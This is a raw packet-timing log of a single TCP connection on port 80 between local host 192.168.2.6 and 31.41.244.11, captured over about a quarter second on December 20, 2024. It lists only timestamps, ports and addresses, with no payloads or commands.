Dec 20, 2024 17:43:22.221345901 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.221786022 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.221879959 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.221963882 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.222004890 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.222979069 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.223031044 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.223357916 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.223401070 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.224174023 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.224224091 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.224248886 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.224296093 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.225341082 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.225392103 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.225987911 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.226041079 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.226587057 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.226648092 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.226772070 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.226816893 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.227770090 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.227818966 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.227960110 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.228003979 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.228940010 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.228986979 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.229166985 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.229214907 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.230101109 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.230170012 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.230263948 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.230309010 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.231302977 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.231353045 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.231385946 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.231431007 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.232472897 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.232518911 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.232637882 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.232678890 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.233625889 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.233670950 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.233805895 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.233855963 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.234821081 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.234886885 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.235143900 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.235189915 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.236032963 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.236078024 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.236243010 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.236289978 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.237231016 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.237279892 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.237308979 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.237354994 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.238457918 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.238506079 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.238620043 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.238667965 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.239615917 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.239665985 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.239749908 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.239794970 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.240777016 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.240823030 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.240839958 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.240885973 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.241940022 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.241986036 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.242206097 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.242252111 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.243123055 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.243170977 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.243182898 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.243227005 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.244335890 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.244385004 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.244549036 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.244596958 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.245496035 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.245557070 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.245601892 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.245645046 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.246880054 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.246968985 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.247050047 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.247096062 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.247957945 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.247998953 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.248013973 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.248043060 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.249058962 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.249109983 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.249193907 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.249238014 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.250262976 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.250309944 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.250587940 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.250641108 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.251447916 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.251494884 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.252629995 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.252643108 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.252676964 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.252702951 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.252717018 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.252758980 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.253917933 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.253973961 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.254044056 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.254089117 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.255065918 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.255112886 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.255393982 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.255439997 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.256175041 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.256221056 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.256253004 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.256295919 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.257363081 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.257412910 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.257560968 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.257606030 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.258584023 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.258630991 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.258749008 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.258796930 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.389501095 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.389580965 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.389648914 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.389700890 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.390048027 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.390094042 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.390103102 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.390144110 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.391218901 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.391262054 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.391715050 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.391762972 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.391819000 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.391863108 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.392848969 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.392893076 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.393697977 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.393743038 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.394064903 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.394109011 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.394613028 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.394661903 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.395205021 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.395241976 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.395410061 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.395452023 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.396399975 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.396445036 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.396522999 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.396567106 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.397531986 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.397582054 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.398226023 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.398292065 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.398789883 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.398834944 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.399380922 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.399420977 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.399988890 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.400002003 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.400053978 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.400075912 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.401141882 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.401187897 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.402368069 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.402417898 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.402515888 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.402534008 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.402553082 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.402580976 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.403572083 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.403624058 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.404567957 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.404620886 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.404684067 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.404728889 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.404949903 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.404993057 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.405910015 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.405956984 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.405988932 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.406025887 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.407123089 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.407169104 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.407259941 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.407320976 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.408307076 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.408350945 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.408426046 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.408472061 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.409558058 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.409610987 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.409647942 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.409691095 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.410727978 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.410804987 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.411807060 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.411818981 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.411853075 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.411864996 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.411890030 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.411926031 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.412969112 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.412981033 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.413033009 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.413033009 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.414333105 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.414345026 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.414376974 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.414398909 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.415430069 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.415474892 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.415617943 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.415662050 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.416734934 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.416785002 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.416872025 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.416961908 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.417718887 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.417804003 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.417825937 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.417839050 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.418898106 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.418953896 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.419019938 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.419063091 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.420186996 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.420200109 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.420232058 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.420262098 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.421268940 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.421324968 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.421463013 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.421504974 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.422482014 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.422533035 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.422544956 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.422588110 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.423691034 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.423744917 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.423880100 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.423927069 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.424920082 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.424963951 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.425338984 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.425386906 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.425998926 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.426047087 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.426126003 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.426170111 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.427191019 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.427248001 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.427511930 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.427557945 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.428345919 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.428394079 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.428481102 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.428539991 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.429558992 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.429606915 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.429857016 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.429919004 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.430746078 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.430794954 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.430870056 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.430915117 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.431981087 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.432044029 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.432300091 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.432353020 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.433098078 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.433159113 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.433170080 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.433218002 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.434290886 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.434354067 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.434393883 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.434441090 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.435460091 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.435517073 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.435698986 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.435745001 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.437077999 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.437092066 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.437127113 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.437151909 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.437865019 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.437915087 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.438009977 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.438071012 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.439150095 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.439162970 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.439218998 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.440212965 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.440280914 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.440294981 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.440427065 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.441402912 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.441462994 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.441741943 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.441793919 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.442590952 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.442651033 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.442713022 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.442759037 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.443747997 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.443810940 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.443901062 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.443948984 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.445039988 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.445101023 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.445197105 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.445242882 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.446150064 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.446208000 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.446224928 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.446270943 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.447360039 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.447412968 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.447470903 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.447515011 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.448487043 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.448544025 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.449099064 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.449163914 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.449752092 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.449801922 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.449862957 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.449909925 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.450872898 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.450970888 CET	49732	80	192.168.2.6	31.41.244.11
